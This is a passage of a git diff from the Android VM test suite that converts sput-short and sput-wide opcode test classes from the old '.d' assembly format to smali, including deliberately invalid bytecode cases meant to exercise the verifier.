-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_4.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_4
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-short v3, dot.junit.opcodes.sput_short.d.T_sput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali
new file mode 100644
index 0000000..017654e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_4.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-short v3, Ldot/junit/opcodes/sput_short/d/T_sput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.d
deleted file mode 100644
index 99d2bc6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_7.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_7
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_7.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali
new file mode 100644
index 0000000..da7a23d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_7.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_7;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.d
deleted file mode 100644
index ce24cf8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_8.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-short v1, dot.junit.opcodes.sput_short.TestStubs.TestStubField S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali
new file mode 100644
index 0000000..045a2d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_8.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/TestStubs;->TestStubField:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.d
deleted file mode 100644
index d5aa82f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_9.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_9
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_9noclass.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali
new file mode 100644
index 0000000..59ea7b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_9.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_9noclass;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d
deleted file mode 100644
index 94e2898..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_1.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_1
-.super java/lang/Object
-
-.field public static st_i1 J
-.field protected static st_p1 J
-.field private static st_pvt1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()J
-.limit regs 2
-
-       sget-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_pvt1 J
-       return-wide v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 778899112233
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.smali
new file mode 100644
index 0000000..ef194f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_1.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+.super Ljava/lang/Object;
+.source "T_sput_wide_1.java"
+
+
+# static fields
+.field public static st_i1:J
+
+.field protected static st_p1:J
+
+.field private static st_pvt1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static getPvtField()J
+    .registers 2
+
+    sget-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_pvt1:J
+
+    return-wide v0
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v1, 0xb55a014129L
+
+    sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_i1:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.d
deleted file mode 100644
index 65a6012..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_10.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_10
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_10.st_i1N J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali
new file mode 100644
index 0000000..3ee11b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_10.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_10;->st_i1N:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.d
deleted file mode 100644
index 7cf07a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_11.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.TestStubs.TestStubFieldFinal J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali
new file mode 100644
index 0000000..98bbc60
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_11.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/TestStubs;->TestStubFieldFinal:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.d
deleted file mode 100644
index 23fc53b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_12.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_12
-.super java/lang/Object
-
-.field public static final st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 77
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_12.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali
new file mode 100644
index 0000000..f104680
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_12.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 77
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_12;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d
deleted file mode 100644
index ae7d1df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.d
+++ /dev/null
@@ -1,54 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source JtubInitError.java
-.class public dot.junit.opcodes.sput_wide.d.JtubInitError
-.super java/lang/Object
-
-.field public static value J
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       int-to-long v0, v0
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.JtubInitError.value J
-       return-void
-.end method
-
-
-.source T_sput_wide_13.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.JtubInitError.value J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java
index ab71754..21780d8 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_wide.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static long value = (long)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/JtubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/JtubInitError.smali
new file mode 100644
index 0000000..67d6a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/JtubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/JtubInitError;
+.super Ljava/lang/Object;
+.source "JtubInitError.java"
+
+
+# static fields
+.field public static value:J
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    int-to-long v0, v0
+
+    sput-wide v0, Ldot/junit/opcodes/sput_wide/d/JtubInitError;->value:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/T_sput_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/T_sput_wide_13.smali
new file mode 100644
index 0000000..d770ca5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_13.smalis/T_sput_wide_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_13;
+.super Ljava/lang/Object;
+.source "T_sput_wide_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v1, 0x1
+
+    sput-wide v1, Ldot/junit/opcodes/sput_wide/d/JtubInitError;->value:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.d
deleted file mode 100644
index 38d5ed5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_14.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_14
-.super dot/junit/opcodes/sput_wide/d/T_sput_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_wide/d/T_sput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()J
-.limit regs 2
-
-       sget-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_p1 J
-       return-wide v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 77
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_p1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali
new file mode 100644
index 0000000..5809245
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_14.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_14;
+.super  Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()J
+.registers 2
+
+       sget-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_p1:J
+       return-wide v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 77
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_p1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.d
deleted file mode 100644
index 88531b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_15.java
